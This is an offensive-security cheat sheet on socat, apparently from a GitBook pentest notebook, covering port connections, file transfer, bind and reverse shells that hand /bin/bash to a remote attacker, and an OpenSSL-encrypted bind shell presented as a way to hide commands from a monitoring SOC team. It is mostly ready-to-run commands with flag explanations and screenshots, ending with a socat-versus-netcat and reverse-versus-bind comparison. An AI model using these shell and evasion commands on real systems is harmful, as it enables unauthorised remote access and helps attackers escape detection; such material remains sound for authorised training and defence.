# Socat

### SOCAT

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FfaVvvr17o0q8jxZ532JF%2Fimage.png?alt=media&#x26;token=050b86bb-4298-40b6-bb50-a5b35f62452d" alt=""><figcaption><p>Socat</p></figcaption></figure>

* Connection To a TCP/UDP Port

**Attacker** Machine&#x20;

{% code overflow="wrap" fullWidth="false" %}

```bash
socat - TCP4:<IP>:<PORT>
```

{% endcode %}

&#x20;**`-`** Stdin

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F5tdJSR47wv3K13eeDlG4%2Fimage.png?alt=media&#x26;token=59e7e8e5-1c20-40fb-a5b1-06045cbf18d6" alt=""><figcaption></figcaption></figure>

* Listening To a TCP/UDP Port

**Victim** Machine &#x20;

```bash
socat TCP4-LISTEN:<PORT> stdout
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F80Q7VHql2G0Q9euscq5k%2Fimage.png?alt=media&#x26;token=868d8b78-a52b-487e-8b9b-09728bc7b33a" alt=""><figcaption></figcaption></figure>

* Transfer File With Socat

**Attacker** Machine&#x20;

```bash
socat  TCP4:<IP>:<PORT> file:sec.txt,create
```

* **`socat`**: This is the command itself, which stands for "SOcket CAT". It is a multipurpose relay tool that can create two bidirectional byte streams and transfer data between them.
* **`TCP4`**: This specifies the address type and protocol to be used. `TCP4` indicates that the connection will use the IPv4 protocol with TCP.
* **<`IP`>**: This is a placeholder for the IP address of the remote host to which you want to connect.
* **<`PORT`>**: This is a placeholder for the port number on the remote host to which you want to connect.
* **`file.tx`t**: This specifies the second address as a file. The data received from the TCP connection will be written to (or read from) this file. Here, `sec.txt` is the filename.
* **`create`**: This option ensures that the file `sec.txt` is created if it does not already exist. Without this option, if the file does not exist, the command would fail.

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FMajsgF6s7zAhpfLMqWOo%2Fimage.png?alt=media&#x26;token=2ece2a65-0df8-4a1a-8d4c-80433d8b190c" alt=""><figcaption></figcaption></figure>

**Victim** Machine &#x20;

```bash
socat TCP4-LISTEN:<PORT>,fork file:sec.txt 

```

* `socat`: This is the command itself, which stands for "SOcket CAT". It is a utility for data transfer between two bidirectional data streams.
* `TCP4-LISTEN:<PORT>`: This specifies that `socat` should listen for incoming TCP connections on the specified port (replace `<PORT>` with the actual port number you want to use).
* `fork`: This option tells `socat` to fork (***create a new process***) for each incoming connection. This allows `socat` to handle multiple connections simultaneously.
* `file:sec.txt`: This specifies that the data received from each connection should be written to the file `sec.txt`.

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FwhHQrsNWlediXzSOvdNt%2Fimage.png?alt=media&#x26;token=82364ad0-cffe-4b4a-975c-2c87ce02737d" alt=""><figcaption></figcaption></figure>

> **The advantage of `Socat` is that it allows more than one person to connect to the same port at the same time, and the connection is not separated, which is what distinguishes it from `NC`.**

{% hint style="info" %}
U Cant Use Standard Input | Output And Redirect&#x20;
{% endhint %}

#### Victim Machine

```
socat tcp-listen:4444,fork - < sec.txt

```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FNw79UURzXMocjfCItTDC%2Fimage.png?alt=media&#x26;token=476db607-d3dd-4236-b01b-4c4781a21f00" alt=""><figcaption><p>From WSL Ubuntu , Connected In Termux</p></figcaption></figure>

<mark style="color:red;">`-`</mark> -> Using Standard Input , After This , Waiting for Input&#x20;

<mark style="color:red;">`<`</mark> -> Using Redirect Character , Send Content File

#### Attacker Machine&#x20;

```
 socat tcp4:192.168.43.1:4444 - > sec.txt
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FJLNYXCiYfJKHnszIBcgN%2Fimage.png?alt=media&#x26;token=053d8005-2026-4965-a250-e38e5020bb09" alt=""><figcaption></figcaption></figure>

<mark style="color:red;">`-`</mark>    -> Using Standard Input , After This , Waiting for Input

<mark style="color:red;">`>`</mark>    -> Using Redirect Character , Store In File  (Override)\ <mark style="color:red;">`>>`</mark> -> If U Want Adding Content In File With Old Value&#x20;

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FfF3mORNPs7jfhDO2ZPTj%2Fimage.png?alt=media&#x26;token=7f1ab522-4805-4bd3-9049-fd574daeb2c1" alt=""><figcaption><p>Fingerprint</p></figcaption></figure>

* Socat Bind

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FHc6auf4ncv9o3Ji12Esn%2Fimage.png?alt=media&#x26;token=2f37af85-c61d-41d7-a0a0-1c2647d1fe23" alt=""><figcaption></figcaption></figure>

**Attacker** Machine &#x20;

```bash
socat  -d -d -d - TCP4:<IP>:<PORT>
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FpLqUaPFvUTHYYEbvNsKS%2Fimage.png?alt=media&#x26;token=c9c52b54-f9ab-43a2-ae48-3c1f5f937fb8" alt=""><figcaption></figcaption></figure>

**Victim** Machine &#x20;

```bash
socat -d -d -d tcp4-listen:<PORT<,fork exec:/bin/bash
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F83GCkL72uy29kxlMOPXz%2Fimage.png?alt=media&#x26;token=4f76bccf-25e5-43b9-9f25-eb88e624cf45" alt=""><figcaption></figcaption></figure>

* `socat`: The command-line utility for bidirectional data transfer between two independent data channels.
* `-d -d -d`: These flags enable different levels of debugging output. Each `-d` increases the verbosity of the debug information.
* `tcp4-listen:<PORT>`: This option tells `socat` to listen for incoming TCP connections on the specified port (`<PORT>`). The `tcp4` part specifies that only IPv4 connections are accepted.
* `fork`: This option tells `socat` to fork a new process for each incoming connection. This allows multiple clients to connect simultaneously, each handled by its own process.
* `exec:/bin/bash`: This part of the command specifies that when a connection is established, `socat` should execute `/bin/bash`. This effectively provides a shell to the connected client.

#### Socat Reverse Shells

**Attacker** Machine &#x20;

```bash
socat -d -d -v tcp4-listen:<PORT> stdout
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F6l6NuQ8l0oSHdXLmWJoA%2Fimage.png?alt=media&#x26;token=0c73ecae-b2ec-4f6b-8d6c-11a397559c3a" alt=""><figcaption></figcaption></figure>

**Victim** Machine &#x20;

```bash
socat  -d -d TCP4:<IP>:<PORT>,fork  exec:/bin/bash

```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2Fa94dAvqNS4UVD43iPKev%2Fimage.png?alt=media&#x26;token=e095d295-63d7-4567-b3ff-09c80bc3547e" alt=""><figcaption></figcaption></figure>

### Socat Encrypted Bund Shell&#x20;

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FdfqHW0CoOm47N8avCSAF%2Fimage.png?alt=media&#x26;token=4c366bd3-3aeb-4e5c-a210-1dab954767e6" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
In normal use of the tool, if there is someone monitoring the communications that occur, if there is a SOC team monitoring everything that happens. It will see exactly what you are doing in terms of commands on the server or to victims inside the network and other things, so you may be easily detected and even know exactly what you were doing.
{% endhint %}

**Let's see this ,** Using Wireshark :

```
ip.addr == 192.168.43.1 && tcp
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F632YfAcEXaJ50NVGGAlf%2Fimage.png?alt=media&#x26;token=a2cdf7c0-b9a7-4089-9846-08f31880b1e2" alt=""><figcaption></figcaption></figure>

**Here I use a filter to filter the TCP packets because you will find a lot of connections using more than one different protocol, and this is a normal thing within the network.**

**--**

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FCJCjafqyCBXlWpnWjuPX%2Fimage.png?alt=media&#x26;token=f3daac91-145b-4396-af20-bf4469fcfed7" alt=""><figcaption></figcaption></figure>

***As you can see, as soon as he typed the ls command, the packet and connections started to appear***

***--***

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FHNt5PPywlnEFyOqWewZZ%2Fimage.png?alt=media&#x26;token=9c1cf6e9-5b38-433f-a732-9ae9bc5d5aa8" alt=""><figcaption><p>Right Click > Follow > TCP Stream<br>Or<br>Ctrl + Alt + Shift + T</p></figcaption></figure>

{% hint style="info" %}
If you notice some strange letters, this is because those strange letters have a relationship to the colors that appear in the terminal. Some of them have a relationship to the formats inside the terminal, such as dropping a new line to display the rest of the files, such as the color of the file name and the color of the folders.
{% endhint %}

As you can see, this is a behavior that is very clear to anyone monitoring what is happening on the network

\--

**To hide this, we will encrypt the packet and all communications that occur between us and the other device ,** Using an encryption key we will create

* Generate key.pem&#x20;

```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365

```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FPL1GnaHYsumE59cSOpWI%2Fimage.png?alt=media&#x26;token=5b13d33b-32c6-4dab-bed5-37e70fa9e614" alt=""><figcaption><p>PEM</p></figcaption></figure>

<mark style="color:red;">`req`</mark> ⇒ Indicates that we want to use OpenSSL in **requests** mode, which is used to create or process requests for SSL certificates.

<mark style="color:red;">`-x509`</mark> ⇒ Indicates that we want to create an X.509 certificate, which is a common format for digital certificates.

<mark style="color:red;">`-newkey rsa:4096`</mark> ⇒ OpenSSL says it should generate a new RSA key pair with a length of 4096 bits. The private and public key are generated in this step

<mark style="color:red;">`-keyout`</mark> ⇒ Specifies the name of the file in which the private key will be saved. In this case, the private key will be saved in a file called key.pem

<mark style="color:red;">`-out`</mark> ⇒ Specifies the name of the file in which the public certificate will be saved. In this case, the public certificate will be saved in a file called cert.pem.

<mark style="color:red;">`-days`</mark> ⇒ It determines the validity period of the certificate after its issuance, and here it is set to be valid for one year (365 days).

\--

Attacker

```bash
socat - openssl:<IP>:<PORT>,verify=0
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F3sMNe28rIX85aXf2rhfA%2Fimage.png?alt=media&#x26;token=59722324-2134-4b31-a69b-e270431a2705" alt=""><figcaption></figcaption></figure>

Victim&#x20;

```bash
socat -d -d -v openssl-listen:6666,cert=bind.pem,fork,verify=0 exec:/bin/bash
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FuZyLWq0eiFfChFGPMXLs%2Fimage.png?alt=media&#x26;token=999401aa-2e0d-4ebf-be78-20b3e13e652f" alt=""><figcaption></figcaption></figure>

### Wireshark

> Data is Encrypted Using openssl

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2Fosas04yV6ugku2XPpDN6%2Fimage.png?alt=media&#x26;token=6a3f59c6-f12f-49fc-a391-518cc426562e" alt=""><figcaption></figcaption></figure>

### Socat VS Netcat

#### Summary Table

| Feature             | Netcat (nc)            | Socat                                  |
| ------------------- | ---------------------- | -------------------------------------- |
| Protocol Support    | TCP, UDP               | TCP, UDP, SCTP, UNIX sockets, and more |
| Ease of Use         | Simple, easy to use    | More complex, steeper learning curve   |
| Functionality       | Basic networking tasks | Advanced networking capabilities       |
| Port Scanning       | Yes                    | No                                     |
| Data Transformation | No                     | Yes                                    |
| Proxying/Relaying   | Basic                  | Advanced                               |
| Debugging           | Basic                  | Detailed                               |
| File Transfer       | Yes                    | Yes                                    |

#### Conclusion

* **Use `netcat`** for simpler, quick networking tasks such as port scanning, basic data transfer, and simple shell setups.
* **Use `socat`** when you need advanced capabilities such as data transformation, complex proxying, and handling multiple types of sockets and protocols.

Choose the tool based on the complexity of the task and the level of control you need over the network connections and data streams.

### Reverse shell VS Bind&#x20;

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F6TzXn2Q1ssJiHVP2fM7O%2Fimage.png?alt=media&#x26;token=507c406e-7618-4463-9443-39a15b409723" alt=""><figcaption></figcaption></figure>

#### Summary Table

| Feature                  | Reverse Shell                         | Bind Shell                                  |
| ------------------------ | ------------------------------------- | ------------------------------------------- |
| **Connection Initiator** | Target                                | Attacker                                    |
| **Firewall/NAT Evasion** | Easier                                | Harder                                      |
| **Setup Complexity**     | More complex on target side           | Simpler on target side                      |
| **Detection Risk**       | Moderate (outbound connection)        | Higher (listening port)                     |
| **Use Case**             | When outbound connections are allowed | When the attacker can’t receive connections |

> #### Conclusion
>
> * **Reverse Shell** is generally more flexible in bypassing network restrictions.
> * **Bind Shell** can be simpler but is more likely to be blocked by network defenses.
> * Choose the method based on the network environment and specific constraints you are working with. Always ensure you have authorization and understand the legal implications of using these techniques.
> * [**Online Reverse Shell**](https://www.revshells.com/)
